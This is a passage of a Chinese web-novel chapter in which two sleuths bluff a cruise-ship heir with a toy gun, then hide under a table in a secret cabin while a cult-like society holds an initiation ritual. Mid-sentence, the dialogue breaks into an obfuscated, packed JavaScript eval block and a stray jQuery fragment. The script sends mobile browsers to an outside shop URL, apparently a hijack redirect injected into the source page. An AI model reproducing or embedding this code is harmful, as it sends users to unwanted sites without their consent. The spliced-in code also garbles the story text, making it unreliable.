两人擦肩而过时,鸭舌帽忽然转过身来,露出一把黑色的小型手枪,电光火石之间,枪抵在了江绍杰的腰间。
鸭舌帽毫不客气地单手扭过他的胳膊,反扣在背后,将人按在船舱的地板上,一只脚踩在他的背上。
鸭舌帽气势汹汹,绝非善茬,再加上胳膊上的大花臂,看起来像是帮派中的狠人。
这条船上,什么贵人都有,哪家保镖秘密携带了真枪实弹,也不是不可能。
江绍杰不敢逞强,趴在地上,险些要哭——自己怎么这么倒霉,在自家船上接二连三地出事,到底是招谁惹谁了。本来脸就肿着,怼在地板上,被磨得越发疼了。
“哎哟,疼疼疼,好汉饶命,你想要什么我都给你。”识时务者为俊杰,只要对方不伤害他的性命,他都可以配合。
整条船都是江家的,事后要找这人算账,也不是难事。
“问什么答什么,否则你就见不着明天的太阳。”
“好好好,一定知无不言。”江绍杰满口答应。
“张辉在哪里?”抵在腰上的力道又大了几分,“敢撒谎,就把你丢到海里喂鲨鱼。”
江绍杰没想到是问张辉的,愣了几秒,对方是寻仇的?张辉此刻在哪里,他还真不知道。
“好汉,我真的不知道,我只负责帮他处理一些简单的事情,根本不知道他在忙什么。”
萧晔思忖着他的话有几分可信度。江绍杰和张辉交情不深,没必要为外人搭上自己的性命,看他哆哆嗦嗦的样子,应该不是撒谎。
“船上有什么隐秘的地方,普通游客不能去的?”萧晔换了个问法。
“甲板底下还有两层,不对外开放,最底下那层没有电梯,只有逃生梯可以去。”这还是他那天偶然听到张辉和人谈话,才知道的。
原来他们那天从剧院电梯下去的那一层,还不是邮轮的最底层。
一声哨声响起,像是某种提醒,鸭舌帽松开了对他的钳制:“闭上眼睛,趴在这里,数五十个数。”
江绍杰老老实实地趴在地上数数,有几个路人经过,好奇地看了他一眼,还以为是某种行为艺术。
直到数到五十,他才敢从地板上站起来。
鸭舌帽已经不见踪影。
江绍杰暗自骂了一声,打电话叫来几个保安。这邮轮,太不安全了!他要立马调监控,看看到底是谁,吃了熊心豹子胆,敢威胁他!
晦气的是,监控又被气球挡住了。查不出什么。这人肯定有帮手在放哨,哨声一响,代表着有人来了,鸭舌帽就跑了。
用玩具枪得手的萧晔,已经跟叶晓来到了甲板上。
“江绍杰会上当,我给你挑选的衣服和纹身占一半功劳。”叶晓晃了晃那把枪,枪当然是假的——昨天在购物中心买的,纹身是临时贴的,只有衣服和气势是真的。
“嗯,你功不可没。”萧晔似是随口附和。
叶晓忍不住笑了起来。
舱底最下面那层的入口极其隐蔽,并不好找。
两人在舱底第一层转了一圈,这里就是剧院电梯直达的那一层,但是没有找到可以下去第二层的逃生梯。
“有人来了。”
窸窸窣窣的脚步声传来。
凭借优越的视力,依稀能瞧见一个人走到拐角,停了下来,他拧亮一个手电筒,往墙上寻摸,不知道按了哪处机关,舱门轻巧地向两边滑开,露出一段台阶。
他进去后,舱门很快关上。
“身上带了什么武器没有?”萧晔压低声音问。
叶晓拿出藏在身上的防狼喷雾。
“放在随手可及的地方,紧急情况可以用到。下面可能有不少岱峤会的人,万一打起来,能跑你就跑,知道吗?”想了想,萧晔又叮嘱,“如果我们走散了,有事情就吹哨,我一定会过来找你。”
这个哨子也是在购物中心买的,叶晓一心想着乔装打扮,没留意萧晔买了一堆奇奇怪怪的东西,包括玩具枪和哨子,现在全都派上了用处。
叶晓比了个OK的手势。
她在墙上摸了一会儿,终于摸到一个凸起的按钮,一按下去,门果然开了。
进门后,先是一个长廊,长廊的天花板缀着一长串星空灯,长廊两边的墙上每隔一段距离就挂着一幅画。这些画都与神话故事相关,其中有两幅叶晓认了出来,分别是盘古开天辟地和女娲造人。
叶晓用手机拍了几张照片。舱底似乎用了屏蔽仪器,即便随身带着WiFi,手机上连一格信号都没有。
在画廊的尽头左拐,长廊两边就出现了一扇扇黑色的门,每扇门都紧闭着,听不到一丝声响。再往前走,是一条回字形长廊,长廊横向的部分与现在这条竖着的长廊呈倒T字形分布,就像回字上面倒立着一个丁字。
在横竖两条长廊相交的地方,有一扇宽大的黑门。与其他黑门不一样的是,这扇门是开着的,透出暖黄的灯光。
叶晓悄悄伸头快速瞥了眼,这是一间宽敞的房间,里面没有人。
又有啪嗒啪嗒的脚步声响起。环顾四周,没有可以躲藏的地方。脚步声越来越近,依稀还能听到有人说话的声音。只要他们拐过来,就会看到两人!
萧晔反应很快,拉着叶晓的手腕,闪身躲进了开着门的房间内。
屋里没有窗户,只有四面高大密实的墙壁。墙上同样挂着跟画廊上风格类似的油画。屋里的陈设比较简单,只有大圆桌和椅子,布置得像是会议室。中间的大圆桌盖着黑色的桌布,桌布垂得很低,挡住了看向桌底的视线。
桌布中间,有几块黑色的物件,搭在一起,看起来像是一艘船。她又仔细看了看四周,发现每把椅子的椅背中间,也有同样的图标。
好多这样的图标,这是什么意思?这里不像是临时集会的地方,倒像是岱峤会常年盘踞之所在。
脚步声逐渐逼近,在空荡荡的走廊里回响。皮鞋踩在地上的节奏像是踩在人的心脏上,几乎与心跳同频。有一瞬间,那声音近到,几乎就在这间会议室的门口。
两人飞速藏到桌子下面,屏住呼吸,尽量不发出一丁点声响。
时间一分一秒过去,屋子里静得落针可闻。
皮鞋径直进了这间会议室,然后坐了下来。很快,就有第二个进来。
“与会者都到齐了,正在各自的休息室等着。”
是张辉的声音。
紧接着是一个雌雄莫辨的声音,明显用了变声器:“很好,这批新成员出手阔绰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877156|209879||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,给组织带来一笔不菲的收入。”
“郭家那位虽然交了会费,但是……她看起来另有目的。”
“无妨。她已经见识过岱峤会的厉害,不会轻举妄动。只要她加入我们,就不会再想退出;入会越久,越舍不得离开。”
听到“郭家那位”,叶晓暗暗握紧了拳头,如果没有猜错的话,他们说的是郭乐宜。
又听那人说起:“九件具灵之物,还剩两件没有下落,你们要动作快点,老爷子等不及了。”
张辉的声音显得成竹在胸:“放心,很快就会现世了。”
九件?他们要收集具灵之物做什么?叶晓和萧晔眼神相交,都从对方的眼神中读出了疑惑,等待那人透露更多。
那人却没有继续这个话题,反而开启了下一个议程。
“让他们过来吧。”
很快,与会者陆陆续续进入这间会议室。
叶晓小心翼翼将桌布掀起一个小角,朝着门口的方向观察,这个角度只能看到那些人的鞋子,她试图从中找出郭乐宜。
进来的人身上都裹着一件长及脚踝的黑袍,头和脸被黑巾遮住,只露出一双眼睛,看不清面容,甚至雌雄莫辨。黑袍似乎经过特殊处理,掩盖了所有人本身的气味。
不知道他们要干什么,气氛神神秘秘的,没有人说话。
郭乐宜今天穿了什么鞋子?好像是一双玛丽珍皮鞋,平底,咖色。
看了一会儿,找到了!
咖色女鞋和一双红底的男士皮鞋一同走进来,落座。
大圆桌四周很快坐满了人,最后一个人进来后,门咔哒一声上锁了。
那个雌雄莫辨的声音再度响起:“欢迎来到岱峤会。”
叶晓浑身起了一层鸡皮疙瘩,今天已经让她对“欢迎”两个字产生应激障碍了。
那人话音刚落,呼哧一声,圆桌中央居然燃起了火焰。进门时,两人没来得及细看,其实圆桌中央挖出了一个小坑,上面的黑色小船,是由木炭搭成的。小坑四周涂上了特殊涂层,防止火苗乱窜。
火光大盛,逼人的灼热透过桌面,向下传递,骤然升高的温度,让桌底的两人有些难受,豆大的汗珠从额头冒出。
顾不上再观察他们,叶晓放下桌布,将头尽可能地贴进地面,远离热源。
她一侧头,这才发现,自己与萧晔挨得很近,咫尺之外就是萧晔的脸,豆大的汗珠从他高挺的鼻梁滑落。
狭小闷热的空间内,火光在两人脸上跳跃。四目相对,呼吸交缠,紧张压抑的空气中,弥漫着一股淡淡的檀香。
叶晓轻轻往角落里缩了缩。
萧晔眸光一闪,视线从叶晓那张被热得通红的脸上移开。
“仪式开始。”
所有人站起身来,嘴里念念有词,围着火把转圈。
这些人转了三圈,又回到自己的位置,却没有坐下。
“加入岱峤会,拥有完美人生。如果想要反悔,现在还有机会,一旦加入,生是岱峤会的人,死是岱峤会的鬼,生生世世,永远拥护岱峤会。”
一片寂静。没有人临阵退缩。
“歃血为盟。”
这是什么奇怪的仪式?这听着怎么这么像邪教组织?